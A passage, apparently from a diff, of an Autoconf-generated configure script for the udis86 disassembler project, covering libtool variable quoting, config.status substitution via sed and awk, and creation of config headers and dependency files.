"$old_archive_from_expsyms_cmds" | $SED "$delay_single_quote_subst"`' +archive_cmds='`$ECHO "$archive_cmds" | $SED "$delay_single_quote_subst"`' +archive_expsym_cmds='`$ECHO "$archive_expsym_cmds" | $SED "$delay_single_quote_subst"`' +module_cmds='`$ECHO "$module_cmds" | $SED "$delay_single_quote_subst"`' +module_expsym_cmds='`$ECHO "$module_expsym_cmds" | $SED "$delay_single_quote_subst"`' +with_gnu_ld='`$ECHO "$with_gnu_ld" | $SED "$delay_single_quote_subst"`' +allow_undefined_flag='`$ECHO "$allow_undefined_flag" | $SED "$delay_single_quote_subst"`' +no_undefined_flag='`$ECHO "$no_undefined_flag" | $SED "$delay_single_quote_subst"`' +hardcode_libdir_flag_spec='`$ECHO "$hardcode_libdir_flag_spec" | $SED "$delay_single_quote_subst"`' +hardcode_libdir_separator='`$ECHO "$hardcode_libdir_separator" | $SED "$delay_single_quote_subst"`' +hardcode_direct='`$ECHO "$hardcode_direct" | $SED "$delay_single_quote_subst"`' +hardcode_direct_absolute='`$ECHO "$hardcode_direct_absolute" | $SED "$delay_single_quote_subst"`' +hardcode_minus_L='`$ECHO "$hardcode_minus_L" | $SED "$delay_single_quote_subst"`' +hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_quote_subst"`' +hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`' +inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`' +link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`' +always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`' +export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`' +exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`' +include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`' +prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`' +postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`' +file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`' +variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`' +need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`' +need_version='`$ECHO "$need_version" | $SED "$delay_single_quote_subst"`' +version_type='`$ECHO "$version_type" | $SED "$delay_single_quote_subst"`' +runpath_var='`$ECHO "$runpath_var" | $SED "$delay_single_quote_subst"`' +shlibpath_var='`$ECHO "$shlibpath_var" | $SED "$delay_single_quote_subst"`' +shlibpath_overrides_runpath='`$ECHO "$shlibpath_overrides_runpath" | $SED "$delay_single_quote_subst"`' +libname_spec='`$ECHO "$libname_spec" | $SED "$delay_single_quote_subst"`' +library_names_spec='`$ECHO "$library_names_spec" | $SED "$delay_single_quote_subst"`' +soname_spec='`$ECHO "$soname_spec" | $SED "$delay_single_quote_subst"`' +install_override_mode='`$ECHO "$install_override_mode" | $SED "$delay_single_quote_subst"`' +postinstall_cmds='`$ECHO "$postinstall_cmds" | $SED "$delay_single_quote_subst"`' +postuninstall_cmds='`$ECHO "$postuninstall_cmds" | $SED "$delay_single_quote_subst"`' +finish_cmds='`$ECHO "$finish_cmds" | $SED "$delay_single_quote_subst"`' +finish_eval='`$ECHO "$finish_eval" | $SED "$delay_single_quote_subst"`' +hardcode_into_libs='`$ECHO "$hardcode_into_libs" | $SED "$delay_single_quote_subst"`' +sys_lib_search_path_spec='`$ECHO "$sys_lib_search_path_spec" | $SED "$delay_single_quote_subst"`' +sys_lib_dlsearch_path_spec='`$ECHO "$sys_lib_dlsearch_path_spec" | $SED "$delay_single_quote_subst"`' +hardcode_action='`$ECHO "$hardcode_action" | $SED "$delay_single_quote_subst"`' +enable_dlopen='`$ECHO "$enable_dlopen" | $SED "$delay_single_quote_subst"`' +enable_dlopen_self='`$ECHO "$enable_dlopen_self" | $SED "$delay_single_quote_subst"`' +enable_dlopen_self_static='`$ECHO "$enable_dlopen_self_static" | $SED "$delay_single_quote_subst"`' +old_striplib='`$ECHO "$old_striplib" | $SED "$delay_single_quote_subst"`' +striplib='`$ECHO "$striplib" | $SED "$delay_single_quote_subst"`' + +LTCC='$LTCC' +LTCFLAGS='$LTCFLAGS' +compiler='$compiler_DEFAULT' + +# A function that is used when there is no print builtin or printf. +func_fallback_echo () +{ + eval 'cat <<_LTECHO_EOF +\$1 +_LTECHO_EOF' +} + +# Quote evaled strings. +for var in AS \ +DLLTOOL \ +OBJDUMP \ +SHELL \ +ECHO \ +PATH_SEPARATOR \ +SED \ +GREP \ +EGREP \ +FGREP \ +LD \ +NM \ +LN_S \ +lt_SP2NL \ +lt_NL2SP \ +reload_flag \ +deplibs_check_method \ +file_magic_cmd \ +file_magic_glob \ +want_nocaseglob \ +sharedlib_from_linklib_cmd \ +AR \ +AR_FLAGS \ +archiver_list_spec \ +STRIP \ +RANLIB \ +CC \ +CFLAGS \ +compiler \ +lt_cv_sys_global_symbol_pipe \ +lt_cv_sys_global_symbol_to_cdecl \ +lt_cv_sys_global_symbol_to_c_name_address \ +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \ +nm_file_list_spec \ +lt_prog_compiler_no_builtin_flag \ +lt_prog_compiler_pic \ +lt_prog_compiler_wl \ +lt_prog_compiler_static \ +lt_cv_prog_compiler_c_o \ +need_locks \ +MANIFEST_TOOL \ +DSYMUTIL \ +NMEDIT \ +LIPO \ +OTOOL \ +OTOOL64 \ +shrext_cmds \ +export_dynamic_flag_spec \ +whole_archive_flag_spec \ +compiler_needs_object \ +with_gnu_ld \ +allow_undefined_flag \ +no_undefined_flag \ +hardcode_libdir_flag_spec \ +hardcode_libdir_separator \ +exclude_expsyms \ +include_expsyms \ +file_list_spec \ +variables_saved_for_relink \ +libname_spec \ +library_names_spec \ +soname_spec \ +install_override_mode \ +finish_eval \ +old_striplib \ +striplib; do + case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in + *[\\\\\\\`\\"\\\$]*) + eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED \\"\\\$sed_quote_subst\\"\\\`\\\\\\"" + ;; + *) + eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" + ;; + esac +done + +# Double-quote double-evaled strings. +for var in reload_cmds \ +old_postinstall_cmds \ +old_postuninstall_cmds \ +old_archive_cmds \ +extract_expsyms_cmds \ +old_archive_from_new_cmds \ +old_archive_from_expsyms_cmds \ +archive_cmds \ +archive_expsym_cmds \ +module_cmds \ +module_expsym_cmds \ +export_symbols_cmds \ +prelink_cmds \ +postlink_cmds \ +postinstall_cmds \ +postuninstall_cmds \ +finish_cmds \ +sys_lib_search_path_spec \ +sys_lib_dlsearch_path_spec; do + case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in + *[\\\\\\\`\\"\\\$]*) + eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" + ;; + *) + eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" + ;; + esac +done + +ac_aux_dir='$ac_aux_dir' +xsi_shell='$xsi_shell' +lt_shell_append='$lt_shell_append' + +# See if we are running on zsh, and set the options which allow our +# commands through without removal of \ escapes INIT. +if test -n "\${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST +fi + + + PACKAGE='$PACKAGE' + VERSION='$VERSION' + TIMESTAMP='$TIMESTAMP' + RM='$RM' + ofile='$ofile' + + + + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "config.h") CONFIG_HEADERS="$CONFIG_HEADERS config.h" ;; + "depfiles") CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;; + "libtool") CONFIG_COMMANDS="$CONFIG_COMMANDS libtool" ;; + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + "scripts/Makefile") CONFIG_FILES="$CONFIG_FILES scripts/Makefile" ;; + "libudis86/Makefile") CONFIG_FILES="$CONFIG_FILES libudis86/Makefile" ;; + "udcli/Makefile") CONFIG_FILES="$CONFIG_FILES udcli/Makefile" ;; + "tests/Makefile") CONFIG_FILES="$CONFIG_FILES tests/Makefile" ;; + "docs/Makefile") CONFIG_FILES="$CONFIG_FILES docs/Makefile" ;; + "docs/manual/Makefile") CONFIG_FILES="$CONFIG_FILES docs/manual/Makefile" ;; + "docs/x86/Makefile") CONFIG_FILES="$CONFIG_FILES docs/x86/Makefile" ;; + "tests/difftest.sh") CONFIG_FILES="$CONFIG_FILES tests/difftest.sh" ;; + + *) as_fn_error $? "invalid argument: \`$ac_config_target'" "$LINENO" 5;; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files + test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers + test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to `$tmp'. +$debug || +{ + tmp= ac_tmp= + trap 'exit_status=$? + : "${ac_tmp:=$tmp}" + { test ! -d "$ac_tmp" || rm -fr "$ac_tmp"; } && exit $exit_status +' 0 + trap 'as_fn_exit 1' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || as_fn_error $? "cannot create a temporary directory in ." "$LINENO" 5 +ac_tmp=$tmp + +# Set up the scripts for CONFIG_FILES section. +# No need to generate them if there are no CONFIG_FILES. +# This happens for instance with `./config.status config.h'. +if test -n "$CONFIG_FILES"; then + + +ac_cr=`echo X | tr X '\015'` +# On cygwin, bash can eat \r inside `` if the user requested igncr. +# But we know of no other shell where ac_cr would be empty at this +# point, so we can use a bashism as a fallback. +if test "x$ac_cr" = x; then + eval ac_cr=\$\'\\r\' +fi +ac_cs_awk_cr=`$AWK 'BEGIN { print "a\rb" }' /dev/null` +if test "$ac_cs_awk_cr" = "a${ac_cr}b"; then + ac_cs_awk_cr='\\r' +else + ac_cs_awk_cr=$ac_cr +fi + +echo 'BEGIN {' >"$ac_tmp/subs1.awk" && +_ACEOF + + +{ + echo "cat >conf$$subs.awk <<_ACEOF" && + echo "$ac_subst_vars" | sed 's/.*/&!$&$ac_delim/' && + echo "_ACEOF" +} >conf$$subs.sh || + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 +ac_delim_num=`echo "$ac_subst_vars" | grep -c '^'` +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + . ./conf$$subs.sh || + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 + + ac_delim_n=`sed -n "s/.*$ac_delim\$/X/p" conf$$subs.awk | grep -c X` + if test $ac_delim_n = $ac_delim_num; then + break + elif $ac_last_try; then + as_fn_error $? "could not make $CONFIG_STATUS" "$LINENO" 5 + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done +rm -f conf$$subs.sh + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +cat >>"\$ac_tmp/subs1.awk" <<\\_ACAWK && +_ACEOF +sed -n ' +h +s/^/S["/; s/!.*/"]=/ +p +g +s/^[^!]*!// +:repl +t repl +s/'"$ac_delim"'$// +t delim +:nl +h +s/\(.\{148\}\)..*/\1/ +t more1 +s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ +p +n +b repl +:more1 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t nl +:delim +h +s/\(.\{148\}\)..*/\1/ +t more2 +s/["\\]/\\&/g; s/^/"/; s/$/"/ +p +b +:more2 +s/["\\]/\\&/g; s/^/"/; s/$/"\\/ +p +g +s/.\{148\}// +t delim +' >$CONFIG_STATUS || ac_write_fail=1 +rm -f conf$$subs.awk +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +_ACAWK +cat >>"\$ac_tmp/subs1.awk" <<_ACAWK && + for (key in S) S_is_set[key] = 1 + FS = "" + +} +{ + line = $ 0 + nfields = split(line, field, "@") + substed = 0 + len = length(field[1]) + for (i = 2; i < nfields; i++) { + key = field[i] + keylen = length(key) + if (S_is_set[key]) { + value = S[key] + line = substr(line, 1, len) "" value "" substr(line, len + keylen + 3) + len += length(value) + length(field[++i]) + substed = 1 + } else + len += 1 + keylen + } + + print line +} + +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +if sed "s/$ac_cr//" < /dev/null > /dev/null 2>&1; then + sed "s/$ac_cr\$//; s/$ac_cr/$ac_cs_awk_cr/g" +else + cat +fi < "$ac_tmp/subs1.awk" > "$ac_tmp/subs.awk" \ + || as_fn_error $? "could not setup config files machinery" "$LINENO" 5 +_ACEOF + +# VPATH may cause trouble with some makes, so we remove sole $(srcdir), +# ${srcdir} and @srcdir@ entries from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=[ ]*/{ +h +s/// +s/^/:/ +s/[ ]*$/:/ +s/:\$(srcdir):/:/g +s/:\${srcdir}:/:/g +s/:@srcdir@:/:/g +s/^:*// +s/:*$// +x +s/\(=[ ]*\).*/\1/ +G +s/\n// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +fi # test -n "$CONFIG_FILES" + +# Set up the scripts for CONFIG_HEADERS section. +# No need to generate them if there are no CONFIG_HEADERS. +# This happens for instance with `./config.status Makefile'. +if test -n "$CONFIG_HEADERS"; then +cat >"$ac_tmp/defines.awk" <<\_ACAWK || +BEGIN { +_ACEOF + +# Transform confdefs.h into an awk script `defines.awk', embedded as +# here-document in config.status, that substitutes the proper values into +# config.h.in to produce config.h. + +# Create a delimiter string that does not exist in confdefs.h, to ease +# handling of long lines. +ac_delim='%!_!# ' +for ac_last_try in false false :; do + ac_tt=`sed -n "/$ac_delim/p" confdefs.h` + if test -z "$ac_tt"; then + break + elif $ac_last_try; then + as_fn_error $? "could not make $CONFIG_HEADERS" "$LINENO" 5 + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +# For the awk script, D is an array of macro values keyed by name, +# likewise P contains macro parameters if any. Preserve backslash +# newline sequences. + +ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* +sed -n ' +s/.\{148\}/&'"$ac_delim"'/g +t rset +:rset +s/^[ ]*#[ ]*define[ ][ ]*/ / +t def +d +:def +s/\\$// +t bsnl +s/["\\]/\\&/g +s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ +D["\1"]=" \3"/p +s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2"/p +d +:bsnl +s/["\\]/\\&/g +s/^ \('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/P["\1"]="\2"\ +D["\1"]=" \3\\\\\\n"\\/p +t cont +s/^ \('"$ac_word_re"'\)[ ]*\(.*\)/D["\1"]=" \2\\\\\\n"\\/p +t cont +d +:cont +n +s/.\{148\}/&'"$ac_delim"'/g +t clear +:clear +s/\\$// +t bsnlc +s/["\\]/\\&/g; s/^/"/; s/$/"/p +d +:bsnlc +s/["\\]/\\&/g; s/^/"/; s/$/\\\\\\n"\\/p +b cont +' >$CONFIG_STATUS || ac_write_fail=1 + +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + for (key in D) D_is_set[key] = 1 + FS = "" +} +/^[\t ]*#[\t ]*(define|undef)[\t ]+$ac_word_re([\t (]|\$)/ { + line = \$ 0 + split(line, arg, " ") + if (arg[1] == "#") { + defundef = arg[2] + mac1 = arg[3] + } else { + defundef = substr(arg[1], 2) + mac1 = arg[2] + } + split(mac1, mac2, "(") #) + macro = mac2[1] + prefix = substr(line, 1, index(line, defundef) - 1) + if (D_is_set[macro]) { + # Preserve the white space surrounding the "#". + print prefix "define", macro P[macro] D[macro] + next + } else { + # Replace #undef with comments. This is necessary, for example, + # in the case of _POSIX_SOURCE, which is predefined and required + # on some systems where configure will not decide to define it. + if (defundef == "undef") { + print "/*", prefix defundef, macro, "*/" + next + } + } +} +{ print } +_ACAWK +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 + as_fn_error $? "could not setup config headers machinery" "$LINENO" 5 +fi # test -n "$CONFIG_HEADERS" + + +eval set X " :F $CONFIG_FILES :H $CONFIG_HEADERS :C $CONFIG_COMMANDS" +shift +for ac_tag +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) as_fn_error $? "invalid tag \`$ac_tag'" "$LINENO" 5;; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$ac_tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain `:'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + as_fn_error 1 "cannot find input file: \`$ac_f'" "$LINENO" 5;; + esac + case $ac_f in *\'*) ac_f=`$as_echo "$ac_f" | sed "s/'/'\\\\\\\\''/g"`;; esac + as_fn_append ac_file_inputs " '$ac_f'" + done + + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input='Generated from '` + $as_echo "$*" | sed 's|^[^:]*/||;s|:[^:]*/|, |g' + `' by configure.' + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ac_file" >&5 +$as_echo "$as_me: creating $ac_file" >&6;} + fi + # Neutralize special characters interpreted by sed in replacement strings. + case $configure_input in #( + *\&* | *\|* | *\\* ) + ac_sed_conf_input=`$as_echo "$configure_input" | + sed 's/[\\\\&|]/\\\\&/g'`;; #( + *) ac_sed_conf_input=$configure_input;; + esac + + case $ac_tag in + *:-:* | *:-) cat >"$ac_tmp/stdin" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 ;; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + as_dir="$ac_dir"; as_fn_mkdir_p + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac + ac_MKDIR_P=$MKDIR_P + case $MKDIR_P in + [\\/$]* | ?:[\\/]* ) ;; + */*) ac_MKDIR_P=$ac_top_build_prefix$MKDIR_P ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= +ac_sed_dataroot=' +/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p' +case `eval "sed -n \"\$ac_sed_dataroot\" $ac_file_inputs"` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +$as_echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when `$srcdir' = `.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_sed_extra="$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s|@configure_input@|$ac_sed_conf_input|;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@top_build_prefix@&$ac_top_build_prefix&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +s&@MKDIR_P@&$ac_MKDIR_P&;t t +$ac_datarootdir_hack +" +eval sed \"\$ac_sed_extra\" "$ac_file_inputs" | $AWK -f "$ac_tmp/subs.awk" \ + >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ + "$ac_tmp/out"`; test -z "$ac_out"; } && + { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined" >&5 +$as_echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined" >&2;} + + rm -f "$ac_tmp/stdin" + case $ac_file in + -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; + *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; + esac \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + ;; + :H) + # + # CONFIG_HEADER + # + if test x"$ac_file" != x-; then + { + $as_echo "/* $configure_input */" \ + && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" + } >"$ac_tmp/config.h" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + if diff "$ac_file" "$ac_tmp/config.h" >/dev/null 2>&1; then + { $as_echo "$as_me:${as_lineno-$LINENO}: $ac_file is unchanged" >&5 +$as_echo "$as_me: $ac_file is unchanged" >&6;} + else + rm -f "$ac_file" + mv "$ac_tmp/config.h" "$ac_file" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + fi + else + $as_echo "/* $configure_input */" \ + && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" \ + || as_fn_error $? "could not create -" "$LINENO" 5 + fi +# Compute "$ac_file"'s index in $config_headers. +_am_arg="$ac_file" +_am_stamp_count=1 +for _am_header in $config_headers :; do + case $_am_header in + $_am_arg | $_am_arg:* ) + break ;; + * ) + _am_stamp_count=`expr $_am_stamp_count + 1` ;; + esac +done +echo "timestamp for $_am_arg" >`$as_dirname -- "$_am_arg" || +$as_expr X"$_am_arg" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$_am_arg" : 'X\(//\)[^/]' \| \ + X"$_am_arg" : 'X\(//\)$' \| \ + X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$_am_arg" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'`/stamp-h$_am_stamp_count + ;; + + :C) { $as_echo "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5 +$as_echo "$as_me: executing $ac_file commands" >&6;} + ;; + esac + + + case $ac_file$ac_mode in + "depfiles":C) test x"$AMDEP_TRUE" != x"" || { + # Older Autoconf quotes --file arguments for eval, but not when files + # are listed without --file. Let's play safe and only enable the eval + # if we detect the quoting. + case $CONFIG_FILES in + *\'*) eval set x "$CONFIG_FILES" ;; + *) set x $CONFIG_FILES ;; + esac + shift + for mf + do + # Strip MF so we end up with the name of the file. + mf=`echo "$mf" | sed -e 's/:.*$//'` + # Check whether this is an Automake generated Makefile or not. + # We used to match only the files named 'Makefile.in', but + # some people rename them; so instead we look at the file content. + # Grep'ing the first line is not enough: some people post-process + # each Makefile.in and add a new line on top of each file to say so. + # Grep'ing the whole file is not good either: AIX grep has a line + # limit of 2048, but all sed's we know have understand at least 4000. + if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then + dirpart=`$as_dirname -- "$mf" || +$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$mf" : 'X\(//\)[^/]' \| \ + X"$mf" : 'X\(//\)$' \| \ + X"$mf" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$mf" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + else + continue + fi + # Extract the definition of DEPDIR, am__include, and am__quote + # from the Makefile without running 'make'. + DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` + test -z "$DEPDIR" && continue + am__include=`sed -n 's/^am__include = //p' < "$mf"` + test -z "am__include" && continue + am__quote=`sed -n 's/^am__quote = //p' < "$mf"` + # Find all dependency output files, they are included files with + # $(DEPDIR) in their names. We invoke sed twice because it is the + # simplest approach to changing $(DEPDIR) to its actual value in the + # expansion. + for file in `sed -n " + s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ + sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g'`; do + # Make sure the directory exists. + test -f "$dirpart/$file" && continue + fdir=`$as_dirname -- "$file" || +$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$file" : 'X\(//\)[^/]' \| \ + X"$file" : 'X\(//\)$' \| \ + X"$file" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + as_dir=$dirpart/$fdir; as_fn_mkdir_p + # echo "creating $dirpart/$file" + echo '# dummy' > 